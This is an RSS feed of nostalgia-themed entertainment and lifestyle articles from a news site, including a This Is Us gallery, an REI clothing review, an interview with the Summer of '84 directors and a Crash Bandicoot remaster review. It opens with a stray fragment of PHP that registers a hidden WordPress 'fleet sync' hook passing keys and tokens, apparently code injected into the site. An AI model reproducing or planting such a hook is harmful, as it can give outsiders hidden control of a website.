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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); nostalgic – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 01 Mar 2019 21:25:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png nostalgic – Brief News https://briefnews.eu 32 32 This Is Us: All the Times Guest Stars Made Us Nostalgic for 1980s/'90s TV https://briefnews.eu/this-is-us-all-the-times-guest-stars-made-us-nostalgic-for-1980s-90s-tv/ https://briefnews.eu/this-is-us-all-the-times-guest-stars-made-us-nostalgic-for-1980s-90s-tv/#respond Fri, 01 Mar 2019 21:25:59 +0000 http://briefnews.eu/this-is-us-all-the-times-guest-stars-made-us-nostalgic-for-1980s-90s-tv/

Forget MeTV: If you want a blast from TV’s past, all you have to do is tune into This Is Us on the regular.

NBC’s heartwarming family drama excels at casting actors from some of the most beloved television shows and movies of the 1980s and ’90s — often without any sort of prior announcement — meaning each new hour brings the possibility of being surprised by a Married… With Children actress as Kevin’s Hollywood agent or a Different World alum living in William’s old building. Rebecca’s own mother made a Big splash when she first appeared in a Season 1 flashback, and a 21 Jump Street grad interacting with Jack in Vietnam. Stars of the Reagan and Bush eras: They’re everywhere!

We’ve been so delighted by the familiar faces that have popped up over the past three seasons, we’ve gathered our nostalgia-inducing favorites here. Our list features a bunch of people who’ve popped up in Pearson-land, as well as the TV series and/or films that made them famous. (Please note: This is not an inclusive list of all This Is Us guest appearances, so please don’t fill the comments telling us that we missed Jimmi Simpson’s excellent turn as a spiraling suit or Ron Howard’s cameos as Kevin’s benevolent director.)

Click through the gallery above, then hit the comments with your favorite This Is Us guest spots. 

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  • After 80 years, REI has started making its own line of lifestyle clothing.
  • The new collection, Wallace Lake, is named after the co-op founders’ first hike there, which eventually led them to create REI. 
  • The line covers basically every major outdoor essential you could want: puffers, flannels, chunky knit sweaters, and lots more. I tested a couple staples, and they each exceeded expectations.
  • Shop the entire line here, and check out REI’s $ 20-lifetime membership if you’re interested (we think it’s a good value). 

After 80 years of expertise in the field of apparel for adventurers, REI has released a new line of virtually every outdoor staple you’ve ever had on your to-buy list.

The collection, dubbed “Wallace Lake” in homage to the co-op founders’ hike there that lent inspiration for REI itself, is the company’s first-ever comprehensive sportswear collection. 

However, the line itself feels familiar and nostalgic. The company has pulled details and prints from REI’s archives and reintroduced select replicas of some of REI’s first pieces — like the 1972 High Country Parka and a redesigned rucksack based off the original issued in 1958. 

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Lake Wallace is full of modernized cold weather staples done in the old-fashioned way. The products were designed as “all-terrain apparel” — meaning they’re meant to be worn wherever you decide to wear them: on a trail or at a bar. As REI says in their blog about the collection, it may have taken them about 80 years to make it, but it might last the next 80 anyway.

In many ways, Wallace Lake feels like a renewed thesis statement for REI — a declaration of the importance of quality gear. 

The company has had a relatively wholesome reputation for decades thanks to its no-frills commitment to the outdoors, integrity, and to community impact. Over the years, the company’s unbelievable no-questions-asked return policy (now curtailed), employee benefits, and $ 20-lifetime membership were points of proof for people who identified with the label almost as readily as they identified as “outdoorsy.”And it makes sense why they might feel connected, thanks to communal perks like REI adventures and an unusual amount of democratic power over the vision of the company itself (lifetime members can actually vote on the company’s board of directors).

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REI sent me three products to test in person, and my experience was uniformly positive — each piece impressed me. Costs were reasonable, but quality was much higher than I expected at the given prices — the pieces are sturdy, thoughtfully and intuitively designed, and are everything you want them to be without the frills. The chunky oversized sweater and thick flannels feel like something I would have gotten from my grandfather’s cedar closet in the Midwestern cabin we still don’t have running water in (I think as a point of pride). In other words, they’re built to be used, and they’re built to last.

Below are the Wallace Lake pieces I personally tried, as well as a few other selections from the collection. To find everything, click here. 

The Sweater

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Women’s REI Co-op Wallace Lake Sweater, $ 99.95

This sweater is probably going to be the item of clothing I wear most frequently this fall. It’s made of a hefty knit wool/nylon blend that feels weighty and substantial, and it’s only a little scratchy (you’ll probably want to wear another layer, but I’ve worn it comfortably against my skin, too). The wool insulates heat well enough that you could wear it over a T-shirt outdoors and be warm, but breathes well enough to still be comfortable indoors. Overall, it’s a classic sweater with rib-knit details, but the mock-neck also makes this a bit cooler to me than the average version. 

The Flannel

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Women’s REI Co-op Wallace Lake Flannel Shirt, $ 64.95

This is the soft but rugged cotton flannel you’ll want to bring on hiking trips. It’s warm, substantial, and thicker than you’re bound to find elsewhere. Right now, you can find it in five colorways. You’d hope REI would excel with their flannel, and they did — like the sweater, I was surprised by its quality.

The Leggings

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Women’s REI Co-op Wallace Lake Leggings, $ 69.95

Like the sweater and flannel, these leggings are surprisingly high-quality for what’s a considerably low price where good leggings are concerned.  They’re thick enough that I’d prefer them for a hike or cabin trip than a HIIT workout, but they still wick away moisture and breath well enough to handle temperature changes. The wide, flat seam waistband is comfortable and flattering, and the four-way stretch lets you move without restriction. Overall, they’re great leggings — and a good value for $ 70.   


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]]> https://briefnews.eu/rei-has-released-a-nostalgic-line-of-classic-outdoor-apparel-upgraded-for-2018/feed/ 0 ‘Summer of ’84 Directors on Crafting Their Nostalgic Horror Throwback and the Status of ‘Turbo Kid 2’ [Fantasia Film Festival Interview] https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/ https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/#respond Fri, 10 Aug 2018 19:32:01 +0000 http://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/ Summer of 84 Directors Interview

What is about the image kids on bicycles, having an adventure, that just screams “This is a story set in the 1980s”? The trio of Montreal-based filmmaking team, known collectively as RKSS (and individually as François Simard, Anouk Whissell, and Yoann-Karl Whissell), decided to find out when they got their hands on the Summer of ’84 script from first-time screenwriters Matt Leslie and Stephen J. Smith. This is a story that taps into some of the same nostalgic vibes that made last year’s version of Stephen King’s It and Netflix’s Stranger Things series so popular, while grounding its story more squarely in reality rather than diving into the supernatural or other worldly.

Set in the deepest, darkest suburbs of Oregon, the film follows 15-year-old Davey Armstrong (Graham Verchere), who is bored and not interested in hanging around the house while the tension between his parents is close to boiling over. He sets himself the mission of discovering the fates of a handful of missing and dead area teens — a search that gets kicked into overdrive when a few pieces of circumstantial evidence points Davey and his three closest pals to suspecting that local police officer Mackey (Rich Sommer) of being the so-called Cape May Slayer. It just so happens the cop also happens to be Davey’s next-door neighbor, which makes for some very awkward and tense moments around the old cul-de-sac.

The film finds ways to subvert expectations, generate genuine character development in a genre that doesn’t often bother (there’s a lot of hanging around time with the kids), and provides another excellent opportunity for RKSS to create a genre-busting cult hit, as they did with Turbo Kid in 2015 (and yes, they are still planning a sequel).

/Film caught up with the filmmakers just hours before they debuted Summer of ’84 in front of a hometown crowd in Montreal during Fantasia Festival recently. The film begins making its way into theaters across the country today.

I was fortunate enough to be at Fantasia when Turbo Kid premiered, and I don’t think I’ll ever have a more thrilling experience being at a festival screening in my life. That crowd was insane.

Yoann-Karl: We cried that night, in front of everybody.

I remember. Both with that film and Summer of ’84, the film had played many other festivals before Fantasia, both debuted at Sundance. What is the difference between playing anywhere else and Montreal?

Anouk: There’s a lot of pressure.

Yoann-Karl: There was pressure at Sundance as well, but whatever else happened, we got in at Sundance. We did that. Coming back from Sundance, it was like “Oh no, now people have expectations. This is very scary. Summer is very different than Turbo Kid. This is a very rocking crowd; they get insane. Turbo Kid sounded like a rock concert, not like a movie screening. Summer is slower paced, so we’re a bit nervous. But it’s a good, smart crowd. They’ll jump in at the right moments, but it’s still scary.

Anouk: They’re also very familiar with our short films from before [Turbo Kid].

Yoann-Karl: There’s no gore in Summer, so that might make a difference.

Let’s back it up a bit. You come off Turbo Kid a few years ago, which you wrote. How did this script come to you, and why did you decide to go with a story that you didn’t start from scratch? What grabbed you about this screenplay that made you have to make it?

Yoann-Karl: It felt like it was written for us. We felt like those four kids were a mixture of all that we were when we were growing up—swearing too much, trying to steal alcohol bottles from your dad. What really hooked us was the ending, and we wanted to go there. We wanted to go that dark with this story; it made it interesting to us.

François: We didn’t really plan for this to be our second feature. Every movie that gets a green light is a miracle, and we had several projects in development. When we heard the pitch and the ending, and it made us think “Okay, we’re doing this.” Even if it’s super-serious and we didn’t write it, we were still passionate about this movie and there was nothing like it in the market at the time—this was  2015—and now we’re totally part of the zeitgeist.

I know, it looks like you planned it much more than you did. But when this came to you, it was before Stranger Things and well before It, and now you’re part of this kids-on-bikes zeitgeist. Did you make any adjustments to make sure nothing about your film was similar to these other projects?

Anouk: We made a minor adjustment. We removed a Dungeons and Dragons reference, and we played a ton of it in high school. As for myself, I was so afraid that Stranger Things and our film would be similar, so I took some time and decided to watch it, and I was really relieved that it was so different. There are kids on bikes, but it’s very different.

François: In the end, everybody realized there was this huge audience for nostalgia. In the end, we’re grateful.

What is it about the visual of kids on bikes that sends people back 30-some years and gets people excited about a certain kind of adventure storytelling?

Anouk: We were huge BMX fans ourselves.

Yoann-Karl: That’s what in Turbo Kid there are so many bikes.

Anouk: Right. We spent our summers on our BMXs.

Yoann-Karl: One of our favorite films growing up was BMX Bandits. We were obsessed with that film. A lot of people don’t know that film, but in Quebec, that movie was huge. Everybody was obsessed with that film and watch it a billion times.

Anouk: I don’t want to assume that later generations played less outside, but I feel like maybe that’s the case, and that’s why kids on bikes feels very ’80s.

François: Yeah, with Turbo Kid and Summer of ’84 are our homages to our childhood. I don’t know if that’s because we’re adults and don’t want to grow up.

Yoann-Karl: We’ll be teenagers forever [laughs].

With these kid adventure films, I always believed that if the kids thought there was any real danger, they probably wouldn’t be doing what they’re doing. They’re just bored in the summertime. Was that at least the beginning of these particular story—just something they could do as a group?

Yoann-Karl: That’s exactly it. And it makes the audience feel safe because you’ve seen those films. You felt relatively safe with them going on that adventure, and suddenly we pull the rug out from under your feet and say, “No, this is real life, and real life is a lot darker than the imagination those kids have. They are so sure of themselves that they don’t realize how much danger they’re in themselves; they don’t get it. They think they’ll be the heroes and save the day. The audience doesn’t realize; they don’t realize; but eventually they get sidearmed by the movie.

Anouk: At first it’s just a fun adventure, like going after Bigfoot [laughs].

Yoann-Karl: Yeah, but ultimately, he’s a victim of his over-active imagination.

François: And the fact that it can happen, it makes it a lot scarier for us.

Yoann-Karl: True crimes are a lot scarier.

You play with our expectations for these kind of films, in that, the most guilty-looking person is almost never the actual guilty person. I won’t spoil anything, but talk about subverting our expectations. You do it at a few moments.

Yoann-Karl: I think the audience does the work themselves. We never lie. It’s hard to answer this question without spoilers. The answer is always there, but you always make more work for youself.

Anouk: We do create things to mislead you, a few red herrings.

François: And that’s why it’s so important that with the role of Mackey, he’s really likable. People need to look at him and say “It can’t be him; it’s Harry from Mad Men. He’s not a serial killer.” [laughs]

How high and low did you search for just the right actor to play that role, because he has to hit those notes exactly right?

Yoann-Karl: We had long, long conversations with a lot of names, talking about looking for that perfect look. And for us, it made sense when we talked about Rich Sommer. That was the guy; he has that face. Thank god, it worked out because he could have said no. For us, it made total sense.

François: We learned that he’s a huge geek and plays lots of board games. He’s one of us; we’ll be okay.

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]]> https://briefnews.eu/summer-of-84-directors-on-crafting-their-nostalgic-horror-throwback-and-the-status-of-turbo-kid-2-fantasia-film-festival-interview/feed/ 0 Incredible nostalgic photographs show the golden age of British beaches through the years https://briefnews.eu/incredible-nostalgic-photographs-show-the-golden-age-of-british-beaches-through-the-years/ https://briefnews.eu/incredible-nostalgic-photographs-show-the-golden-age-of-british-beaches-through-the-years/#respond Fri, 23 Mar 2018 16:18:25 +0000 http://briefnews.eu/incredible-nostalgic-photographs-show-the-golden-age-of-british-beaches-through-the-years/

An exhibition, The Great British Seaside, opens today celebrating the world’s most iconic British beach photographs from world famous photographers including Martin Parr.

With imaging spanning decades, the beautiful British coastline has been documented whilst it changes over time.

From the abandoned and burnt Brighton Pier to the buzzing arcades, British beaches attract’s tourists year on year – despite the unpredictable weather.

To celebrate famous coastlines, Magnum photography has curated an exhibition with images from Tony Ray-Jones, David Hurn, Simon Roberts and new work by Martin Parr.

The Great British Seaside includes archival collections from each photographer and captures the “ambiguities and absurdities” of British beaches and the tourists that flock to the shores every summer.

Captured by Simon Roberts, Brighton Beach is a stretch of coastline that has attracts thousands of tourists each year.

The photographer explained: “I see the British seaside as a series of landscapes through which we can trace part of our national history.”

Home to the famous Brighton Pier, this shingle beach has recently been voted the fourth most beautiful beach in the UK by Travellers Choice.

According to Visit Brighton, this stretch of coastline has been voted one of the top 10 beach break destinations in the world.

Weymouth Beach, captured in many of Martin Parr’s iconic images, shows the beach in a more colourful light.

“The beach is that rare public space in which all absurdities and quirky national behaviours can be found”, said Parr.

Weymouth beach has been voted the fifth most beautiful beach by the Travellers Choice and the exhibition highlights the popularity of this stretch of coastline when the sun shines.

The Welsh coastline has been captured through the years by photography David Hurn.

When speaking about British Coastline, the photographer said: “The seaside is a place for uninhibited fun. It is cheap and very democratic, full of laughter, tenderness, ridiculousness but basically a way of having a good time.”

Voted the Third most beautiful beach in the UK, Rhossili on the Gower Peninsula in Swansea was one of the first stretches in the UK to rewarded Area of Outstanding Natural Beauty status.

During Hurn’s project, Wales: Land of My Father, the photographer explores this stretch of beautiful coastline and visitors to the gallery to see for themselves how this popular stretch of coast has changed throughout the years.

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There are less than three weeks until Ready Player One brings Ernest Cline‘s nostalgic pop culture mash-up to the big screen, courtesy of director Steven Spielberg. The movie had its world premiere at the South by Southwest film festival last night, and for all the fans of the book who can’t wait to see the movie, we’ve got something that should hold you over.

The British synthwave band GUNSHIP recently released a music video for their new song “Art3mis & Parzival,” and as you might have guessed, it features the two characters from Ready Player One on their journey through the story and their blossoming love for each other both inside and outside the virtual world of The OASIS. Adding to the nostalgia is that it’s all done in 16-bit animation paying tribute to various video game styles throughout.

Watch the Ready Player One Music Video by GUNSHIP

While this music video (via The Verge) officially has nothing to do with the film adaptation coming later this month, the timing is no coincidence. This is probably a more loyal adaptation of the book, albeit in a much more condensed package. Plus, for all you Easter egg hunters out there, you’ll find plenty of references to movies like TRON and Jaws, as well as toys like Transformers and He-Man.

Honestly, it’s a shame that this song has nothing to do with the movie because it’s not a bad little synth track at all. Ernest Cline has already given his seal of approval too. We’ll have to see what kind of music the film offers up when Ready Player One hits theaters on March 29. 2018.

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A good ol’ sugary walk down memory lane.

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(Each week, we’ll kick off discussion about Room 104 by answering one simple question: what’s the strangest thing in Room 104?)

This week, the Duplass brothers stepped in front of the camera for the first time in Room 104 history. Well, at least one did. Jay Duplass stars in an unusually quiet and mournful episode about a middle-aged man seeking advice from an old friend. The only problem? His friend died 20 years ago. “I Knew You Weren’t Dead” lacks the scares or aggressive weirdness of past episodes, but it’s still a unique half-hour of television. You can thank Patrick for that.

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What’s the Strangest Thing in Room 104? Patrick

When “I Knew You Weren’t Dead” begins, there’s nothing remotely weird in the room – just a man and his Subway sandwich. But once Daniel (Jay Duplass) finishes eating and goes to bed, Patrick (Will Tranfo) appears. Patrick is Daniel’s best friend, yet Daniel seems surprised to see him. Patrick dismisses his concerns so he can break the good news: he just scored tickets to a Rage Against the Machine and Soundgarden show.

Patrick’s wild enthusiasm over a very ‘90s concert tips us off to a crucial plot detail: Patrick is dead. He’s been dead for a long time, but it sounds like this isn’t his first “visit” to Daniel from beyond the grave. The friends’ initial encounter in Room 104 is cut short when Patrick’s face starts to warp and Daniel wakes up from his dream. But after Daniel pleads with an old photo of Patrick for advice, his ghost pal reappears (in the bathtub, no less!) for a lengthier discussion.

Daniel has never gotten over Patrick’s death. He dropped out of college and messed up his marriage due to his all-consuming grief and guilt. But Patrick has some baggage of his own. He’s mad at Daniel for not joining him in the surf where he drowned, for not saving him. It sparks a screaming match and physical shuffle that ends with Patrick bursting into a million ethereal pieces. But he returns one last time, now as an old man, to absolve Daniel and leave for good.

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Ghosts and Grief

Although Room 104 has never been a strictly horror anthology, the past three episodes have all featured frightening moments or, at the very least, great tension. But “I Knew You Weren’t Dead” never tries to be scary. It uses the supernatural instead to take a broken man through the stages of grief, ending on a surprisingly optimistic note.

In the 20 years since Patrick died, Daniel has never actually tried to process this loss. His estranged wife Diane complains in a voicemail that he’s “like a child” and that’s a pretty fair assessment of Daniel’s arrested development. He’s still stuck in that time when Patrick was still alive, to the point where he believes Ghost Patrick understands him better than anyone else. How could he? He’s missed so much. He doesn’t know Brenda, the boss with whom Daniel is having an affair. He’s never met Daniel’s kids, even the one who shares Patrick’s name. “I’ve never been married and had these affairs,” Patrick says. “I’m fucking 21 years old, man. How the fuck am I supposed to know about this shit?” Daniel expects Patrick to have some sort of otherworldy wisdom, but he’s still just a knucklehead college kid. Except now, he’s undead.

This episode points to some interesting series potential, since “I Knew You Weren’t Dead” feels more like the final act of a play than some freaky sideshow. The Duplass brothers seem intent on infusing every episode with at least a little oddity – Patrick’s still a ghost – but clearly Room 104 isn’t confining itself to horror or dark comedy. It’s just as interested in quiet human drama.

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‘90s Nostalgia

“I Knew You Weren’t Dead” places Patrick firmly in another time through his constant ‘90s references. He isn’t just hyped to see Chris Cornell in concert; he’s wearing ripped jeans, Doc Martens, and an Everclear T-shirt while cracking jokes about “selling Amway shit.” Nostalgia has been a bit of a constant in Room 104. In “Pizza Boy,” Meg reminisces about watching an old TV show with her dad that she used to hate, but now loves. More recently, “The Knockandoo” reveled in ‘80s cheese through its cult tapes, filled with Casio keyboards and neon colors. Room 104 may be occurring in current times (as the smartphones and clothes indicate), but its characters are still hung up on the past. In Daniel’s case, the room actually helped him break out of his ‘90s haze and focus on the present. But other characters haven’t been quite so lucky. We’ll have to see if the room ends up helping rather than harming future characters. But right now, it’s batting one for three.

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After no shortage of hype, Warner Bros. is finally ready to show what Steven Spielberg’s take on Ready Player One is all about. The studio has released the first trailer for the adaptation of Ernest Cline’s novel, and it’s clear that the flick is playing up not just the book’s disjunction between a dystopic real world and VR, but the endless references to pop culture of decades gone by. Some of them are patently obvious in the clip — you’ll see a famous time-traveling car and a certain giant robot — but some are of the blink-and-you’ll-miss-it variety. Take Duke Nukem in the epic battle above, for example.

The preview is a whirlwind tour that focuses more on the spectacle of the OASIS’ virtual world than the story, which isn’t surprising when the movie isn’t slated to premiere until March 2018. It’s big on slam-bang action scenes (such as a gigantic virtual race) more than anything else. As such, we have some unanswered questions: how closely does it hew to the tale of Wade Watts and his quest to win James Halliday’s final game? How much will it lean on spectacle versus tackling the broader concepts of the novel? It could take months before we have a better sense of that, but it’s apparent that the visual style is at least on point — it’s easy to see why people would flock to the spectacle of the OASIS given a real world devoid of adventure.

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Often, when companies go out of their way to force something that usually happens organically, you could bet your house that they’re destined to fail.

But, like much that Sony touched during the 90s, Crash broke that tradition and become an instant pop culture figure.

A then PlayStation exclusive, Crash Bandicoot arrived at a time when platformers had been all the rage – and the PS1 needed a mascot.

Nintendo had Mario, Sega had Sonic – but Sony, the new upstart on the gaming scene, didn’t have a face for their console. Yet.

Crash Bandicoot was created to be that mascot for the PlayStation, and rival the Italian plumber and blue hedgehog as the new face of gaming.

With Mario and Sonic, these characters became mascots over-time, but Crash – like the PlayStation – burst onto the scene and was an instant hit.

Funnily enough though, the PlayStation in the end didn’t need one mascot.

The PS1 would be defined by many iconic characters – from Lara Croft, to Cloud Strife, to Solid Snake, to Jill Valentine.

Crash Bandicoot arrived just as platformers were on their way to being usurped by cinematic, 3D games that became the hallmark of that 32-Bit generation.

In many ways, Crash was an oddity – a product of the period in gaming he had just somersaulted over.

But that did not stop him spinning his way into the public’s conscious, becoming a much loved character that is pivotal to many gamers’ childhoods.

When Crash Bandicoot N Sane Trilogy was announced at E3 last year for the , the reaction from the crowd was pure ecstasy.

Whooping, cheering – and people left with stunned expressions of happiness. The icon was making a comeback, in a glorious remaster of the original trilogy.

And there’s plenty to love about Crash Bandicoot N Sane Trilogy. 

From the moment you jump back into Wumpa Islands, you can tell developers Vicarious Visions are huge fans of the Naughty Dog originals.

The level designs are the same, the original voice actors return – and it’s all been rebuilt from the ground up in glorious visuals that harness the power of the PS4.

It looks great while at the same time feeling familiar and comforting.

Little things that have been added in, like charming new animations characters do at the start of the level or when you fail miserably. It really brings them to life.

And you get a lot of game for your buck. All three original PlayStation Crash Bandicoot games under one roof will give you plenty of things to do.

But, sometimes Crash Bandicoot N Sane Trilogy becomes an extremely frustrating experience.

It’s been much publicised since launch that jumping in Crash Bandicoot N Sane Trilogy seems…off.

The timing you’re used to in other platformers – and even the original PS1 Crash games – will not be much use to you.

You’ll jump at a moment that on screen looks like the perfect time to begin your jump, and feels completely right – and then you end up falling to your death.

It’s befuddling, off-putting and very frustrating. 

You’ll be breezing through a level, nailing every jump and then you come to one obstacle – time the jump exactly the same as before – and die.

You can rectify this by playing through the levels much more slowly and cautiously but that ruins the fun of it.

Various theories have been bandied about as to why this could be – some say it’s due to sensitive collision detection in the game, others believe it’s because Crash jumps faster.

Either way, the general consensus is that Crash Bandicoot N Sane Trilogy is a very tough game – and much more so than the originals.

And ultimately, this is what your enjoyment of the Crash revival will hinge on.

There’s nothing wrong with a hard-as-nails game, especially when you’re able to learn from your mistakes and improve from them.

Dark Souls, Bloodborne – all these titles are a case in point.

But with Crash Bandicoot N Sane Trilogy, your failings often seem random or completely out of the blue.   

Many will be able to look past this and find plenty to love about an extremely polished, remaster that is a labour of love. Others, will simply be left frustrated.

Despite it’s shortcomings, developers Vicarious Visions should be commended for sticking so closely to the originals.

With remakes, fans often just want to revisit the original games they loved so much and experience that nostalgia – but with better visuals.  

And in that regard, Crash Bandicoot N Sane Trilogy ticks that box with aplomb.

VERDICT: 3/5

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